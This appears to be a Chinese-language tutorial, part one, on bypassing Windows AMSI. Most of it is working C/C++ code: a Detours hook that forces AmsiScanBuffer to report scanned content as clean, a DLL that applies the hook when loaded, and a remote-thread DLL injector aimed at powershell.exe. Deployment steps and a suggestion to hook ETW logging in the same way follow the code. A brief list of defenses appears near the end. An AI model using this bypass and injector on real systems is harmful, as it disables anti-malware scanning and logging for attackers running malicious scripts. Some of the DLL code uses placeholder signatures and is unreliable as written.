AMSI原理与绕过---上
字数 1284 2025-08-25 22:59:09
AMSI原理与绕过技术详解
1. AMSI概述
AMSI (Anti-Malware Scan Interface) 是微软在Windows 10和Server 2016中引入的反恶意软件扫描接口,主要用于检测和拦截恶意脚本的执行,特别是针对PowerShell脚本的防护。
1.1 AMSI工作原理
- AMSI通过amsi.dll实现功能,该DLL会被注入到如PowerShell等进程中
- 主要导出函数包括AmsiScanBuffer等,供杀软和EDR产品调用
- 检测机制会在脚本执行前进行分析判断
1.2 典型拦截场景
当尝试执行恶意PowerShell脚本(如Invoke-Mimikatz)时,即使只是加载脚本内容(无实际执行上下文),AMSI也能检测并拦截。
2. AMSI绕过原理
2.1 核心思路
AMSI的检测结果由AmsiScanBuffer函数的返回值决定,该函数返回一个AMSI_RESULT枚举值:
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN, // 0
AMSI_RESULT_NOT_DETECTED, // 1
AMSI_RESULT_BLOCKED_BY_ADMIN_START, // 16384
AMSI_RESULT_BLOCKED_BY_ADMIN_END, // 20479
AMSI_RESULT_DETECTED // 32768
};
关键点:任何大于32767的返回值都被视为恶意。通过控制这个返回值(如固定返回AMSI_RESULT_CLEAN),即可绕过AMSI检测。
2.2 技术实现路径
- Hook技术:拦截并修改AmsiScanBuffer函数的行为
- 内存补丁:直接修改amsi.dll的内存内容
- 进程注入:将绕过代码注入到目标进程
3. 详细绕过方法
3.1 使用Detours库Hook AmsiScanBuffer
3.1.1 准备工作
- 编译Detours为64位静态库(因PowerShell是64位进程)
- 创建测试项目验证Hook技术可行性
3.1.2 Hook实现代码
#include <Windows.h>
#include <detours.h>
// 保存原始函数指针
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;
// 自定义的AmsiScanBuffer函数
HRESULT _AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
// 强制返回安全结果
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
// 设置Hook
void HookAmsi() {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
// 解除Hook
void UnhookAmsi() {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}
3.1.3 测试代码
// 使用EICAR测试字符串
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
int main() {
HAMSICONTEXT amsiContext;
AMSI_RESULT res;
// 初始化AMSI
AmsiInitialize(L"TestApp", &amsiContext);
// 设置Hook
HookAmsi();
// 扫描恶意字符串
AmsiScanBuffer(amsiContext, (PVOID)EICAR, strlen(EICAR),
L"Test", NULL, &res);
// 检查结果 - 应该返回AMSI_RESULT_CLEAN
std::cout << "Scan result: " << res << std::endl;
// 清理
UnhookAmsi();
AmsiUninitialize(amsiContext);
return 0;
}
3.2 DLL注入实现完整绕过
3.2.1 创建AMSI绕过DLL
#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#pragma comment(lib, "amsi.lib")
// 原始函数指针
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(...) = AmsiScanBuffer;
// 导出的Hook函数
__declspec(dllexport) HRESULT _AmsiScanBuffer(...) {
// 强制返回安全结果
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// 初始化控制台用于调试
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
// 设置Hook
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
} else if (dwReason == DLL_PROCESS_DETACH) {
// 清理Hook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
3.2.2 创建DLL注入器
#include <windows.h>
#include <TlHelp32.h>
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 procEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &procEntry)) {
do {
if (_stricmp(procEntry.szExeFile, procName) == 0) {
CloseHandle(hSnap);
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));
}
CloseHandle(hSnap);
return 0;
}
BOOL InjectDll(DWORD procID, const char* dllPath) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (!hProc) return FALSE;
LPVOID loadLibAddr = (LPVOID)GetProcAddress(
GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 在目标进程分配内存
LPVOID remoteMem = VirtualAllocEx(hProc, NULL, strlen(dllPath)+1,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 写入DLL路径
WriteProcessMemory(hProc, remoteMem, dllPath, strlen(dllPath)+1, NULL);
// 创建远程线程执行LoadLibrary
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibAddr,
remoteMem, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProc, remoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
int main(int argc, char** argv) {
DWORD pid = GetProcIDByName("powershell.exe");
if (pid && InjectDll(pid, "C:\\path\\to\\AmsiHook.dll")) {
printf("[+] DLL injected successfully!\n");
} else {
printf("[-] Injection failed\n");
}
return 0;
}
3.3 实际应用步骤
- 编译AmsiHook.dll为64位版本
- 启动PowerShell进程
- 使用注入器将dll注入到PowerShell进程
- 验证AMSI是否被绕过:尝试执行已知恶意脚本应不再被拦截
4. 技术扩展
4.1 其他可Hook的函数
同样的技术可以用于绕过其他安全机制:
- ETW (Event Tracing for Windows): Hook EtwEventWrite函数
- 其他AMSI相关函数: AmsiInitialize, AmsiOpenSession等
4.2 防御措施
- 进程保护: 防止非授权DLL注入
- 函数完整性检查: 检测关键函数是否被Hook
- 内核驱动保护: 监控用户态Hook行为
5. 总结
本文详细介绍了AMSI的工作原理及通过Hook技术实现绕过的方法,关键点包括:
- AMSI通过amsi.dll实现检测功能,核心是AmsiScanBuffer函数
- 通过修改AmsiScanBuffer的返回值可以绕过检测
- 使用Detours库可以方便地实现API Hook
- 通过DLL注入可将Hook代码加载到目标进程
这种技术不仅适用于AMSI绕过,还可应用于其他安全机制的绕过,是高级渗透测试中常用的技术手段。